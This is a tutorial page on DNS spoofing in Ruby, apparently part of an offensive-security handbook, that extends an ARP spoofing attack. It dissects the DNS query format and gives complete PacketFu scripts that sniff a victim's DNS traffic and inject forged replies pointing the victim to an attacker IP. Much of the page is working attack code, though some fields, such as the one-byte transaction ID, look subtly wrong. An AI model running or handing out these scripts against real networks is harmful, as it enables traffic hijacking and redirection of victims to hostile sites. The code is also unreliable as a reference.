DNS Spoofing
Continuing our attack through ARP Spoofing, we want to change the victim's DNS request to whatever destination we like.

Scenario

1
|Attacker|
2
| AttackerSite
3
٧ AttackerSite
4
|Victim| ----------/ \----------> |Router| ----------> Internet
5
AnySite AttackerSite
Copied!
Keep the ARP spoof attack running
The same IPs of ARP spoof attack
Host
IP Address
Attacker
192.168.0.100
Victim
192.168.0.21
Router
192.168.0.1
Now we cant intercept DNS Query packet coming from victim's machine. Since PacketFu supports filters in capturing (to reduce mount of captured packets) we'll use udp and port 53 and host filter, then we'll inspect the captured packet to ensure that it's a query then find the requested domain. Download DNS packet.
From Wireshark, if we take a deeper look at the DNS query payload in Domain Name System (query), we can see its been presented in hexadecimal format.
Figure 1. DNS query Payload
Let's to anatomize our payload
1
0000 e7 1d 01 00 00 01 00 00 00 00 00 00 07 74 77 69
2
0010 74 74 65 72 03 63 6f 6d 00 00 01 00 01
Copied!
  • The First 2 bytes is the Transaction ID and we don't care about it for now. (Our case: \xe7\x1d)
  • The next 2 bytes is the Flags. (We need: \x01\x00 = \x10)
  • Furthermore, in Queries section which contains
1
0000 07 74 77 69 74 74 65 72 03 63 6f 6d 00 00 01 00
2
0010 01
Copied!
  • The Queries starts at 13 byte of the payload.
    • The 13th byte specifies the length of the domain name before the very first dot (without last dot com or whatever the top domain is). (Our case: \x07) Try:[%w{ 74 77 69 74 74 65 72 }.join].pack("H*")
      • Notice The domain name of "twitter.com" equals \x07 but "www.twitter.com" equals \x03 the same consideration for subdomains
      • Each dot after first dot will be replaced with the length of the followed characters
        e.g. www.google.co.uk
        • First length (www) => will be replaced with \x03
        • First dot(.google) => will be replaced with \x06
        • Second dot(.co) => will be replaced with \x02
        • Third dot(.uk) => will be replaced with \x02
    • The very end of the domain name string is terminated by a \x00.
    • The next 2 bytes refers to the type of the query. (Our case: \x00\x01)
Now what?!
  • We need to start capturing/sniffing on specific interface
  • We need to enable promiscuous mode on our interface
  • We need to capture UDP packets on port 53 only
  • We need parse/analyze the valid UDP packets only
  • We need to make sure this packet is a DNS query
  • We need to get the queried/requested domain
    • We need to know the domain length
    • We need to get the FQDN
  • Build a DNS response
  • Replace the requested domain with any domain we want
  • Re inject the packet into victim connection and send
I'll divide our tasks then wrap it up in one script
1
#!/usr/bin/env ruby
2
#
3
require 'packetfu'
4
5
include PacketFu
6
7
#
8
# * We need to start capturing/sniffing on specific interface
9
# * We need to enable promiscuous mode on our interface
10
# * We need to capture UDP packets on port 53 only
11
#
12
filter = "udp and port 53 and host " + "192.168.0.21"
13
capture = Capture.new(:iface => "wlan0",:start => true, :promisc => true, :filter => filter, :save => true)
14
15
# * We need to get the queried/requested domain
16
# * We need to know the domain length
17
# * We need to get the FQDN
18
#
19
# Convert DNS Payload to readable - Find The FQDN
20
#
21
def readable(raw_domain)
22
# Prevent processing non domain
23
if raw_domain[0].ord == 0
24
puts "ERROR : THE RAW STARTS WITH 0"
25
return raw_domain[1..-1]
26
end
27
28
fqdn = ""
29
length_offset = raw_domain[0].ord
30
full_length = raw_domain[ 0..length_offset ].length
31
domain_name = raw_domain[(full_length - length_offset)..length_offset]
32
33
while length_offset != 0
34
fqdn << domain_name + "."
35
length_offset = raw_domain[full_length].ord
36
domain_name = raw_domain[full_length + 1..full_length + length_offset]
37
full_length = raw_domain[0..full_length + length_offset].length
38
end
39
40
return fqdn.chomp!('.')
41
end
42
43
# * We need parse/analyze the valid UDP packets only
44
# * We need to make sure this packet is a DNS query
45
#
46
# Find the DNS packets
47
#
48
capture.stream.each do |pkt|
49
# Make sure we can parse the packet; if we can, parse it
50
if UDPPacket.can_parse?(pkt)
51
@packet = Packet.parse(pkt)
52
53
# Make sure we have a query packet
54
dns_query = @packet.payload[2..3].to_s
55
56
if dns_query == "\x01\x00"
57
# Get the domain name into a readable format
58
domain_name = @packet.payload[12..-1].to_s # FULL QUERY
59
fqdn = readable(domain_name)
60
61
# Ignore non query packet
62
next if domain_name.nil?
63
64
puts "DNS request for: " + fqdn
65
end
66
end
67
end
Copied!
Till now we successfully finished ARP Spoofing then DNS capturing but still we need to replace/spoof the original response to our domain. e.g. attacker.zone, now we have to build a DNS response instead of spoofed to be sent. So what we need?
  • taking the IP we are going to redirect the user to (the spoofing_ip)
    • converting it into hex using the to_i and pack methods.
  • From there we create a new UDP packet using the data contained in @ourInfo (IP and MAC) and fill in the normal UDP fields.
    • I take most of this information straight from the DNS Query packet.
  • The next step is to create the DNS Response.
    • the best way to understand the code here is to look at a DNS header and then
    • take the bit map of the HEX values and apply them to the header.
    • This will let you see what flags are being set.
  • From here, we just calculate the checksum for the UDP packet and send it out to the target's machine.
Figure 2. DNS Response Payload
1
spoofing_ip = "69.171.234.21"
2
spoofing_ip.split('.').map {|octet| octet.to_i}.pack('c*')
3
4
response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
5
response.udp_src = packet.udp_dst
6
response.udp_dst = packet.udp_src
7
response.ip_saddr = packet.ip_daddr
8
response.ip_daddr = "192.168.0.21"
9
response.eth_daddr = "00:0C:29:38:1D:61"
Copied!
Wrapping up
1
#!/usr/bin/env ruby
2
# -*- coding: binary -*-
3
4
# Start the capture process
5
require 'packetfu'
6
require 'pp'
7
include PacketFu
8
9
10
def readable(raw_domain)
11
12
# Prevent processing non domain
13
if raw_domain[0].ord == 0
14
puts "ERROR : THE RAW STARTS WITH 0"
15
return raw_domain[1..-1]
16
end
17
18
fqdn = ""
19
length_offset = raw_domain[0].ord
20
full_length = raw_domain[ 0..length_offset ].length
21
domain_name = raw_domain[(full_length - length_offset)..length_offset]
22
23
while length_offset != 0
24
fqdn << domain_name + "."
25
length_offset = raw_domain[full_length].ord
26
domain_name = raw_domain[full_length + 1 .. full_length + length_offset]
27
full_length = raw_domain[0 .. full_length + length_offset].length
28
end
29
30
return fqdn.chomp!('.')
31
end
32
33
#
34
# Send Response
35
#
36
def spoof_response(packet, domain)
37
38
attackerdomain_name = 'rubyfu.net'
39
attackerdomain_ip = '54.243.253.221'.split('.').map {|oct| oct.to_i}.pack('c*') # Spoofing IP
40
41
# Build UDP packet
42
response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
43
response.udp_src = packet.udp_dst # source port
44
response.udp_dst = packet.udp_src # destination port
45
response.ip_saddr = packet.ip_daddr # modem's IP address to be source
46
response.ip_daddr = packet.ip_saddr # victim's IP address to be destination
47
response.eth_daddr = packet.eth_saddr # the victim's MAC address
48
response.payload = packet.payload[0,1] # Transaction ID
49
response.payload += "\x81\x80" # Flags: Reply code: No error (0)
50
response.payload += "\x00\x01" # Question: 1
51
response.payload += "\x00\x00" # Answer RRs: 0
52
response.payload += "\x00\x00" # Authority RRs: 0
53
response.payload += "\x00\x00" # Additional RRs: 0
54
response.payload += attackerdomain_name.split('.').map do |section| # Queries | Name: , Convert domain to DNS style(the opposite of readable method)
55
[section.size.chr, section.chars.map {|c| '\x%x' % c.ord}.join]
56
end.join + "\x00"
57
response.payload += "\x00\x01" # Queries | Type: A (Host address)
58
response.payload += "\x00\x01" # Queries | Class: IN (0x0001)
59
response.payload += "\xc0\x0c" # Answer | Name: twitter.com
60
response.payload += "\x00\x01" # Answer | Type: A (Host address)
61
response.payload += "\x00\x01" # Answer | Class: IN (0x0001)
62
response.payload += "\x00\x00\x00\x25" # Answer | Time to live: 37 seconds
63
response.payload += "\x00\x04" # Answer | Data length: 4
64
response.payload += attackerdomain_ip # Answer | Addr
65
response.recalc # Calculate the packet
66
response.to_w(response.iface) # Send the packet through our interface
67
end
68
69
filter = "udp and port 53 and host " + "192.168.0.21"
70
@capture = Capture.new(:iface => "wlan0", :start => true, :promisc => true, :filter => filter, :save => true)
71
# Find the DNS packets
72
@capture.stream.each do |pkt|
73
# Make sure we can parse the packet; if we can, parse it
74
if UDPPacket.can_parse?(pkt)
75
packet = Packet.parse(pkt)
76
77
# Get the offset of the query type: (request=\x01\x00, response=\x81\x80)
78
dns_query = packet.payload[2..3].to_s
79
80
# Make sure we have a dns query packet
81
if dns_query == "\x01\x00"
82
# Get the domain name into a readable format
83
domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
84
fqdn = readable(domain_name)
85
# Ignore non query packet
86
next if domain_name.nil?
87
puts "DNS request for: " + fqdn
88
89
end
90
# Make sure we have a dns reply packet
91
if dns_query == "\x81\x80"
92
domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
93
fqdn = readable(domain_name)
94
puts "[*] Start Spoofing: " + fqdn
95
spoof_response packet, domain_name
96
end
97
98
end
99
end
Copied!
Sources - The code has been modified and fixed
Bit
Flag
Description
Reference
bit 5
AA
Authoritative Answer
[RFC1035]
bit 6
TC
Truncated Response
[RFC1035]
bit 7
RD
Recursion Desired
[RFC1035]
bit 8
RA
Recursion Allowed
[RFC1035]
bit 9
Reserved
bit 10
AD
Authentic Data
[RFC4035]
bit 11
CD
Checking Disabled
[RFC4035]
Type
Value
Description
A
1
IP Address
NS
2
Name Server
CNAME
5
Alias of a domain name
PTR
12
Reverse DNS Lookup using the IP Address
HINFO
13
Host Information
MX
15
MX Record
AXFR
252
Request for Zone Transfer
ANY
255
Request for All Records
Last modified 7mo ago
Copy link
Contents
Scenario